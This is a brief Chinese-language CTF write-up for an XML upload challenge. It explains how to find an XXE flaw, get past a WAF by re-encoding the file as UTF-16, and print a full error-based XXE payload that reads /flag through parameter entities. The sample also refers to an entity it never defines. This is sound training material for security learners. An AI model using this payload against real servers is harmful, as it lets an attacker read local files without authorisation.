about.php提示。flag在/flag
有个文件上传。给了例子
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name>Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
</user>
</users>
xml格式文档。我们上传个xml试试。
有三个输出点。那么联想到XXE。
构造下payload
发现有WAF。可以用编码绕过。
iconv -f utf8 -t utf16 1.xml -o 2.xml
flag只回显了一部分。
可以用报错带出数据
<?xml version='1.0' encoding="utf-16"?>
<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY % NUMBER '<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///yemoli/%file;'>">
%eval;
%error;
'>
%NUMBER;
]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name>Bob</name>
<email>bob@fakesite.com</email>
<group>&xxe;</group>
</user>
</users>